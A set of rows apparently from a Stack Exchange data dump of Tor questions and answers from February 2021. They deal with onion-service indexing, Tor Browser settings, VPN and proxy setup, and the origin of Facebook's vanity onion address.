  <row Id="22060" PostTypeId="1" AcceptedAnswerId="22138" CreationDate="2021-02-17T14:40:03.097" Score="1" ViewCount="271" Body="&lt;p&gt;There are many multiple darknet search engines including Ahmia.fi and Torch. These darknet search engines index new hidden services every day. Can darknet site owners use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;noindex, nofollow&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to stop darknet search engines from indexing their site? This meta tag works for normal websites with search engines such as Google, Yahoo, Bing, etc. I know that if a darknet search engine honors &lt;code&gt;robots.txt&lt;/code&gt; files (such as Ahmia.fi) site owners can use this to hide their website through this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    User-agent: *&#xA;    Disallow: /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, if the darknet search engine doesn't honor &lt;code&gt;robots.txt&lt;/code&gt; files, does the meta tag work in hiding the site?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-17T15:02:31.000" LastActivityDate="2021-03-11T20:35:06.577" Title="Can onion service owners prevent their site from being indexed by darknet search by using a meta tag?" Tags="|onion-services|website|html5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22063" PostTypeId="1" CreationDate="2021-02-17T21:38:13.950" Score="0" ViewCount="206" Body="&lt;p&gt;Say I wrote a script that uses Internet connection. What's the right approach to redirect it to tor so I stay anonymous? Sorry for a silly question I'm new to Tor. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="31767" LastActivityDate="2021-02-17T21:38:13.950" Title="How to use Tor for scripts?" Tags="|configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22064" PostTypeId="1" AcceptedAnswerId="22108" CreationDate="2021-02-17T23:04:29.607" Score="1" ViewCount="1088" Body="&lt;p&gt;I know there have been posted some questions asking essentially the same. However, none of the fulfills my requirements.&#xA;I would simply like to modifiy TOR's homepage and new tab page to include a set of links to certain pages, in the same way Chrome does.&lt;/p&gt;&#xA;&lt;p&gt;I know how to modify TOR's homepage, but the only alternative is to introduce a URL (well, I have managed to tell TOR to open all my Bookmarked pages, but that is neither what I want).&lt;/p&gt;&#xA;&lt;p&gt;Is that possible? And, will this compromise the security [I have read something about modifying the &lt;code&gt;about:tor&lt;/code&gt; file in the &lt;code&gt;Torbutton&lt;/code&gt; &lt;code&gt;addon&lt;/code&gt;, but a disclaimer says that could compromise theh security, plus I cannot find the &lt;code&gt;chrome/content/aboutTor/aboutTor.xhtml&lt;/code&gt; file supposed to be in &lt;code&gt;Data/Browser/profile.default/extensions&lt;/code&gt; (full answer &lt;a href=&quot;https://tor.stackexchange.com/questions/1262/how-do-i-modify-the-existing-homepage-for-tor&quot;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important Remark.&lt;/strong&gt; I use Windows 10.&lt;/p&gt;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="31768" LastActivityDate="2021-03-10T18:43:06.797" Title="Change homepage/new tab page" Tags="|tor-browser-bundle|configuration|startup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22065" PostTypeId="1" AcceptedAnswerId="22118" CreationDate="2021-02-18T14:45:49.307" Score="0" ViewCount="1335" Body="&lt;p&gt;There are many VPNs and some of them can be used with Tor network depending on the setup. There are two ways to use a VPN with the Tor browser. You can either connect to the VPN first and then the Tor network (Tor over VPN) or you can connect to the Tor network first and then a VPN (VPN over Tor). There are also many different VPN providers that support either option. Which VPN setup and VPN provider would be the best to use with the Tor browser in term of privacy and speed (preferably a balance of both)? In fact, should you use a VPN with Tor?&lt;/p&gt;&#xA;&lt;p&gt;Edit: I am not referring to self hosted VPNs.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-06T12:51:54.490" LastActivityDate="2021-03-06T12:51:54.490" Title="How to use VPN with Tor network?" Tags="|configuration|network-configuration|vpn|tor-network|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22066" PostTypeId="1" CreationDate="2021-02-19T02:23:03.420" Score="1" ViewCount="2470" Body="&lt;p&gt;Not sure if this is a problem for others or just that my own browser is not configured properly. But is anyone else unable to browse DuckDuckGo when they disable javascript/ turn security-level to safest.&lt;/p&gt;&#xA;" OwnerUserId="31778" LastActivityDate="2021-03-07T21:10:40.687" Title="duckduckgo no longer working without javascript" Tags="|tor-browser-bundle|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22067" PostTypeId="2" ParentId="20712" CreationDate="2021-02-19T15:18:50.130" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Know and understand the security-related implications of making this change&lt;/li&gt;&#xA;&lt;li&gt;In the Tor Browser address bar, type in &lt;code&gt;about:config&lt;/code&gt; and press enter&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;privacy.resistFingerprinting.letterboxing&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the option to &lt;code&gt;False&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Restart the browser for changes to take effect&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Letterboxing&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor Browser 9.0 is configured to use &lt;a href=&quot;https://www.ghacks.net/2019/10/25/tor-browser-9-0-is-out-with-important-changes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;letterboxing by default&lt;/a&gt;. The&#xA;technique &lt;strong&gt;adds white margins to the browser's frame to let users&#xA;resize the browser window while still prevent fingerprinting&lt;/strong&gt; using&#xA;screen dimensions.&lt;/p&gt;&#xA;&lt;p&gt;It will mask the window’s actual dimensions by adding space to width and height at&#xA;multiples of 200px and 100px while resizing. So the gray space will be&#xA;added at the top, bottom, left, or right of the current web page.&lt;/p&gt;&#xA;&lt;p&gt;Since advertising codes listen to window resize events to gather this&#xA;info, Firefox 67 will provide a generic dimension to such trackers and&#xA;bring back the window to its actual size milliseconds later.&#xA;So basically, letterboxing delays the loading of actual page content&#xA;on the newly-resized window; long enough to trick the tracker codes or&#xA;scripts to read the incorrect window dimensions.&lt;/p&gt;&#xA;&lt;p&gt;Letterboxing isn’t a new technique since it was originally developed&#xA;by Tor Browser in 2015 coming from experiments that the developers of the&#xA;Tor browser conducted and is part of the &lt;a href=&quot;https://www.ghacks.net/2016/07/04/tor-privacy-settings-coming-to-firefox/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Uplift project&lt;/a&gt; that&#xA;introduces improvements in the Tor browser to Firefox (Tor browser is&#xA;based on Firefox code).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31781" LastActivityDate="2021-02-19T15:18:50.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22068" PostTypeId="1" CreationDate="2021-02-19T19:53:08.140" Score="0" ViewCount="52" Body="&lt;p&gt;I just redownloaded TOR for the first time in a while so im relearning it. I tried to go to google just to try it out and see if it would work. Duckduckgo sent me to a blank white page with a search bar at the top it has done this with every website Ive tried except the support site.&lt;/p&gt;&#xA;" OwnerUserId="31783" LastActivityDate="2021-02-19T19:53:08.140" Title="When I try to search for a site in duckduckgo it brings me to a blank white page" Tags="|help|" AnswerCount="0" CommentCount="2" ClosedDate="2021-04-06T20:00:49.587" ContentLicense="CC BY-SA 4.0" />
  <row Id="22069" PostTypeId="1" CreationDate="2021-02-19T21:29:22.763" Score="0" ViewCount="1097" Body="&lt;p&gt;I am using the latest version (10.0.11) of the TOR browser and up until a few days ago, had no problems. Now I seem unable to access a specific website (that I can access via a standard browser.) The website is &amp;quot;http://dl.free.fr/&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;When trying to access the site using TOR I get .. &amp;quot;The connection has timed out..&amp;quot;. I have tried clearing the browser cache, I also dis-connected my VPN and still cannot connect to the site. AS I mentioned earlier, I can access the site ok with any other browser.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="31785" LastActivityDate="2021-06-20T19:41:42.120" Title="Tor can no longer access specific web site - Conneciton Timed out!" Tags="|connection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22072" PostTypeId="2" ParentId="22066" CreationDate="2021-02-22T09:41:55.317" Score="3" Body="&lt;p&gt;I am not sure, but I am guessing you might be encountering a blank page?&lt;/p&gt;&#xA;&lt;p&gt;This is copy-pasted from my reddit post: &lt;a href=&quot;https://old.reddit.com/r/TOR/comments/lmrdk6/tor_browser_safest_security_and_duckduckgo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.reddit.com/r/TOR/comments/lmrdk6/tor_browser_safest_security_and_duckduckgo/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;How to fix it&lt;/h2&gt;&#xA;&lt;p&gt;Enable noscript in the NoScript options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the hamburger menu (three bars in the top right corner)&lt;/li&gt;&#xA;&lt;li&gt;Add-ons&lt;/li&gt;&#xA;&lt;li&gt;The three dots for NoScript&lt;/li&gt;&#xA;&lt;li&gt;Preferences&lt;/li&gt;&#xA;&lt;li&gt;Click the option for &lt;code&gt;noscript&lt;/code&gt; between &lt;code&gt;ping&lt;/code&gt; and &lt;code&gt;other&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Otherwise if you have NoScript in the bar you can just:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the extension&lt;/li&gt;&#xA;&lt;li&gt;Click on the third icon from the left in the top&lt;/li&gt;&#xA;&lt;li&gt;Tick the &lt;code&gt;noscript&lt;/code&gt; option.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or enable noscript for just DuckDuckGo:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the extension&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;duckduckgo.com&lt;/code&gt; from standard (first icon) to custom (fifth icon).&lt;/li&gt;&#xA;&lt;li&gt;Tick the &lt;code&gt;noscript&lt;/code&gt; option&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Some more details.&lt;/h2&gt;&#xA;&lt;p&gt;NoScript 11.2.1 added a new option for whether  elements should be shown on pages. Because Tor Browser overrides NoScripts standard options and noscript hasn't been added to the list that should be enabled we are now seeing this problem.&lt;/p&gt;&#xA;&lt;p&gt;If you change security level, or you restart the browser, Tor Browser will disable the noscript option (because of how it does NoScript options) so you will have to do the above (again).&lt;/p&gt;&#xA;&lt;p&gt;It seems NoScript enables the noscript option when it gets updated. So if you have the security slider to safest before the update NoScript will do all the work for you. (Until you restart the browser)&lt;/p&gt;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&lt;p&gt;I have opened an issue on the gitlab: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/torbutton/-/issues/40030&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/torbutton/-/issues/40030&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Edit 24/Feb.: I have created a pull request to fix this: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/torbutton/-/merge_requests/37&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/torbutton/-/merge_requests/37&lt;/a&gt;&lt;br /&gt;&#xA;it should be fixed in the next release.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastEditorUserId="31801" LastEditDate="2021-02-24T15:26:36.353" LastActivityDate="2021-02-24T15:26:36.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22073" PostTypeId="1" CreationDate="2021-02-23T14:28:46.300" Score="4" ViewCount="117" Body="&lt;p&gt;While we are building a denial of service protection using and onionbalance for our HSv3 resources was discovered an interesting thing: during testing with simulated DDoS (launched 1000 tor client nodes per server on 4 dedicated servers and pushing traffic throught it to our HSv3), there was a situation where one server can push around 350mbit/s and we see it on onionbalance backend, BUT, 4 servers do total the same 350mbit/s like a single server, why?&lt;/p&gt;&#xA;&lt;p&gt;We saw large attacks (10+gbit/s) on our resource from unknown source, but we cant reproduce it for testing purpose because of this strange issue. Looks like tor network using sort of ratelimiting?&lt;/p&gt;&#xA;&lt;p&gt;We tried to use servers in different locations but result is the same - 1 server pushing 350mbit/s, BUT four or more servers pushes 350mbit/s total too.&lt;/p&gt;&#xA;&lt;p&gt;Whats wrong?&lt;/p&gt;&#xA;" OwnerUserId="31809" LastActivityDate="2021-02-23T14:28:46.300" Title="Tor hiden service ratelimits" Tags="|onion-services|security|relays|onion-routing|attacks|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22075" PostTypeId="1" CreationDate="2021-02-23T20:51:42.897" Score="0" ViewCount="137" Body="&lt;p&gt;too many tor ip's have been blacklisted. When I try to login gmail, google, youtube. I'm tired of having to verify captcha constantly. Is there a way to exclude the IPs that have been blacklisted. Or can i add ip to tor?&#xA;Is using a VPN or proxy for tor a solution. Please show me how to use vpn or proxy like how to change ip on every exit.&lt;/p&gt;&#xA;" OwnerUserId="31813" LastActivityDate="2021-02-23T20:51:42.897" Title="many IP tor in blacklist?" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22077" PostTypeId="1" AcceptedAnswerId="22088" CreationDate="2021-02-25T14:28:11.360" Score="0" ViewCount="475" Body="&lt;p&gt;&lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I was told a computer would take millions of years to generate such custom domain.&lt;/p&gt;&#xA;&lt;p&gt;Obviously, that is not true, unless you have got a good piece of hardware.&lt;/p&gt;&#xA;&lt;p&gt;Although, it still surprises me that nowadays technologies makes it possible to reduce domain generation time so much.&lt;/p&gt;&#xA;&lt;p&gt;Is it really a hardware related type of solution?&lt;/p&gt;&#xA;" OwnerUserId="31824" LastEditorUserId="31824" LastEditDate="2021-02-25T14:41:49.093" LastActivityDate="2021-02-27T09:45:02.363" Title="How come Facebook has an onion domain with 15 custom letters?" Tags="|onion-services|facebook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22078" PostTypeId="2" ParentId="22066" CreationDate="2021-02-25T14:40:10.597" Score="0" Body="&lt;p&gt;You can also avoid all the hassle and use either:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/lite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo Lite&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/html/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo HTML&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31824" LastEditorUserId="31824" LastEditDate="2021-03-07T21:10:40.687" LastActivityDate="2021-03-07T21:10:40.687" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22079" PostTypeId="2" ParentId="22077" CreationDate="2021-02-25T15:29:06.463" Score="2" Body="&lt;p&gt;Facebook's onion domain has only 8 custom characters, not 15. Since they generated multiple names with those 8 characters, they chose the one that looked best.&lt;/p&gt;&#xA;&lt;p&gt;It is still out of reach of modern hardware to brute-force all 16 characters. Onion names with 16 characters are for v2 onion services, which are deprecated and will be removed from the network later this year. Onion names for v3 services are much longer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-October/035413.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2014-October/035413.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Long story short: details will come out later, but we just did the same&#xA;thing as everyone else: generated a bunch of keys with a fixed lead prefix&#xA;(&amp;quot;facebook&amp;quot;) and then went fishing looking for good ones.&lt;/p&gt;&#xA;&lt;p&gt;I feel that we got tremendous lucky.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-25T15:29:06.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22080" PostTypeId="1" AcceptedAnswerId="22095" CreationDate="2021-02-25T18:08:58.930" Score="0" ViewCount="4981" Body="&lt;p&gt;I get an error &amp;quot;Connection not secure&amp;quot; if I connect to any website using Tor Browser. I get this error only when I use Tor Browser in Manjaro Linux, I have no problem if I use Tor Browser in Windows or Android. Version of Tor Browser is currently latest - 0.3.3-1. Also, I tried to use Firefox browser with Tor proxy, and it works okay. Also, I guess as a result of this I can't visit GitHub website or see Google Captcha.&#xA;Screenshots: &lt;a href=&quot;https://i.stack.imgur.com/i65Fl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i65Fl.png&quot; alt=&quot;GitHub&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/yIbCE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yIbCE.png&quot; alt=&quot;no Google Captcha&quot; /&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By the way, I use standard security level.&#xA;Hope for your help!&lt;/p&gt;&#xA;" OwnerUserId="31826" LastActivityDate="2022-02-19T19:13:20.940" Title="Tor Browser: &quot;Connection not secure&quot; no matter what site" Tags="|tor-browser-bundle|error|ssl|certificate|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22084" PostTypeId="1" AcceptedAnswerId="22086" CreationDate="2021-02-27T00:31:52.100" Score="0" ViewCount="56" Body="&lt;p&gt;Tor browser has some internal pages inherited from Mozilla Firefox. These include: &lt;code&gt;about:privatebrowsing&lt;/code&gt;, &lt;code&gt;about:webrtc&lt;/code&gt;, &lt;code&gt;about:mozilla&lt;/code&gt;, etc. Since the Tor browser already uses private browsing, does not support webRTC, and &lt;code&gt;about:mozilla&lt;/code&gt; isn't really necessary, why does the Tor browser keep these pages? Is there a purpose/reason behind this or does the Tor browser just keep it for just the sake of it?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-02-27T06:34:17.317" Title="Why are there unnecssary internal Tor browser pages?" Tags="|tor-browser-bundle|firefox|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22086" PostTypeId="2" ParentId="22084" CreationDate="2021-02-27T06:34:17.317" Score="1" Body="&lt;p&gt;The most likely answer is: &lt;strong&gt;Tor Browser keeps these pages because there is no reason to remove them.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Firefox is a big, complex project with lots of components that depend on each other. And it keeps changing, both to make it perform better and to keep up with changing Internet standards. It is not really possible to just pick the parts you want; you have to start with the whole project, then change the parts you want to change. Every change takes effort to create, effort to verify and effort to keep up to date every time Firefox changes. So Tor Browser does not change things without a good reason.&lt;/p&gt;&#xA;&lt;p&gt;In fact, Mozilla has a &lt;a href=&quot;https://wiki.mozilla.org/Security/Tor_Uplift&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Uplift project&lt;/a&gt;, which intends to move all Tor Browser patches into Firefox (controlled by preferences where appropriate), where they are more easily maintained.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-02-27T06:34:17.317" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22087" PostTypeId="1" CreationDate="2021-02-27T07:13:36.280" Score="2" ViewCount="567" Body="&lt;p&gt;Several answers to other questions recommend setting Tor Browser to “remember history” to, for example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/3502/31831&quot;&gt;Save passwords&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add permanent HTTPS certificates: &lt;a href=&quot;https://tor.stackexchange.com/a/6916/31831&quot;&gt;answer 1&lt;/a&gt;, &lt;a href=&quot;https://tor.stackexchange.com/a/12170/31831&quot;&gt;answer 2&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The last answer has &lt;a href=&quot;https://tor.stackexchange.com/questions/12104/latest-tbb-never-accept-self-sign-certificate/12170#comment12449_12170&quot;&gt;a disturbing comment&lt;/a&gt; by &lt;a href=&quot;https://tor.stackexchange.com/users/12737/cacahuatl&quot;&gt;cacahuatl&lt;/a&gt;: “&lt;strong&gt;N.B.&lt;/strong&gt; this will break some of Tor Browsers protections.”&lt;/p&gt;&#xA;&lt;p&gt;What does this mean, exactly? Not saving history &lt;em&gt;is&lt;/em&gt; one of Tor Browser’s protections. Is that what the comment is referring to, or is there a more subtle problem?&lt;/p&gt;&#xA;&lt;p&gt;I found one related question: &lt;a href=&quot;https://tor.stackexchange.com/questions/5989/is-it-dangerous-to-leak-information-to-remember-history-or-accept-cookies-in-tor&quot;&gt;Is it dangerous to leak information to remember history or accept cookies in Tor browser?&lt;/a&gt;. As the answer to that question points out, this question is ambiguous.&lt;/p&gt;&#xA;&lt;p&gt;My question is more specific: &lt;strong&gt;Does setting Tor Browser to “remember history” cause Tor Browser to violate any of the requirements defined in the &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser Design and Implementation document&lt;/a&gt; [1]?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Besides the comment I mentioned above, my concern is that both the implementation of the Tor Browser requirements and the implementation of “remember history” are complex. The implementation of the Tor Browser requirements is partly described in the document linked above: this description is already complex, and even that is very much out of date. The implementation of “remember history” is complex in the sense that it changes several other settings, and there is no guarantee that all affected settings are listed in the preferences screen. Nor is there any guarantee that the implementation of the Tor Browser requirements is independent of the implementation of “remember history”.&lt;/p&gt;&#xA;&lt;p&gt;To emphasise how complex Tor Browser is, here is just part of the implementation for the “New Identity” feature:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;we manually clear the following state: HTTP auth, SSL state, crypto tokens, OCSP state, site-specific content preferences (including HSTS state), the undo tab history, content and image cache, offline and memory cache, offline storage, Cache storage, IndexedDB storage, asm.js cache, cookies, DOM storage, the safe browsing key, the Google wifi geolocation token (if it exists), and the domain isolator state.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;[1] Also accessible &lt;a href=&quot;http://qrmfuxwgyzk5jdjz.onion/projects/torbrowser/design/index.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;via an onion service&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-02-27T07:13:36.280" Title="Does setting Tor Browser to “remember history” cause Tor Browser to violate any of the requirements in its design document?" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22088" PostTypeId="2" ParentId="22077" CreationDate="2021-02-27T09:45:02.363" Score="2" Body="&lt;p&gt;The question is basically saying that Facebook &lt;em&gt;started&lt;/em&gt; with this onion address, &lt;em&gt;then&lt;/em&gt; set out to generate the corresponding private key. This premise is incorrect, as pointed out by &lt;a href=&quot;https://tor.stackexchange.com/a/22079/31831&quot;&gt;Steve’s answer&lt;/a&gt;: in fact, this task would be infeasible using current hardware.&lt;/p&gt;&#xA;&lt;p&gt;Where could this incorrect premise have come from? According to &lt;a href=&quot;https://www.facebook.com/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237&quot; rel=&quot;nofollow noreferrer&quot;&gt;Facebook’s announcement&lt;/a&gt; [1], their onion address can be read as “Facebook’s Core WWW Infrastructure”. The fact that the onion address has such an elegant meaning might suggest that they must have generated it on purpose. Humans are surprisingly good at assigning meaning to randomness.&lt;/p&gt;&#xA;&lt;p&gt;The real origin of this onion address is described in &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-October/035413.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;a post on the tor-talk mailing list by Alec Muffett&lt;/a&gt;, as cited in Steve’s answer: There are eight custom characters, and they got lucky with the rest. There is a &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-October/035412.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;later, more detailed post in the same thread by Roger Dingledine&lt;/a&gt;, which suggests the &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia article “Birthday attack”&lt;/a&gt; as reading material. These posts were cited in a &lt;a href=&quot;https://www.zdnet.com/article/facebook-sets-up-hidden-service-for-tor-users/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZDNet article about Facebook’s onion service&lt;/a&gt; [2].&lt;/p&gt;&#xA;&lt;p&gt;[1] Of course, this is also available &lt;a href=&quot;https://facebookcorewwwi.onion/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237&quot; rel=&quot;nofollow noreferrer&quot;&gt;via an onion service&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;[2] This article incorrectly suggests that Dingledine’s post came first.&lt;/p&gt;&#xA;" OwnerUserId="31831" LastActivityDate="2021-02-27T09:45:02.363" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22089" PostTypeId="1" CreationDate="2021-02-27T15:38:26.990" Score="0" ViewCount="143" Body="&lt;p&gt;Is it possible to host an Apache Server (Wamp/Lamp)on  a Whonix box?&lt;/p&gt;&#xA;&lt;p&gt;Just share the content using the Whonix box IP address?&lt;/p&gt;&#xA;" OwnerUserId="31834" LastActivityDate="2021-02-27T15:38:26.990" Title="How to host an Apache Server on a Whonix box?" Tags="|whonix|server|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22090" PostTypeId="1" AcceptedAnswerId="22091" CreationDate="2021-02-27T16:42:02.610" Score="0" ViewCount="1023" Body="&lt;p&gt;I'm trying to connect to a remote OpenVPN server using OpenVPN Connect Client on a Windows PC.&#xA;The Open Connect Client has a proxy option in the GUI, for this I configured to use TOR as a proxy.&#xA;IP &lt;code&gt;127.0.0.1&lt;/code&gt;&#xA;port &lt;code&gt;9051&lt;/code&gt;&#xA;I have kept the &lt;code&gt;Tor browser&lt;/code&gt; open so that the port is available. No changes have been made to the &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Without the proxy the connection works fine.&lt;/p&gt;&#xA;&lt;p&gt;However when I try to connect with the proxy.&#xA;I get the following error.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OUnfx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUnfx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any clues as to what is going wrong here would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="31835" LastActivityDate="2021-02-27T19:09:51.363" Title="OpenVPN Client over Tor as proxy" Tags="|tor-browser-bundle|proxy|openvpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22091" PostTypeId="2" ParentId="22090" CreationDate="2021-02-27T19:09:51.363" Score="0" Body="&lt;p&gt;Tor Browser runs a SOCKS proxy on port 9150, but OpenVPN Connect expects an HTTP proxy.&lt;/p&gt;&#xA;&lt;p&gt;There are two types of HTTP proxies, GET proxies and CONNECT proxies. Tor only supports HTTP CONNECT proxies if you enable the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#HTTPTunnelPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HTTPTunnelPort&lt;/code&gt;&lt;/a&gt; option in your tor configuration file (the &lt;code&gt;torrc&lt;/code&gt; file). I would think that OpenVPN expects an HTTP CONNECT proxy so I think this will work, but I can't find any actual documentation about what type it expects.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-27T19:09:51.363" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
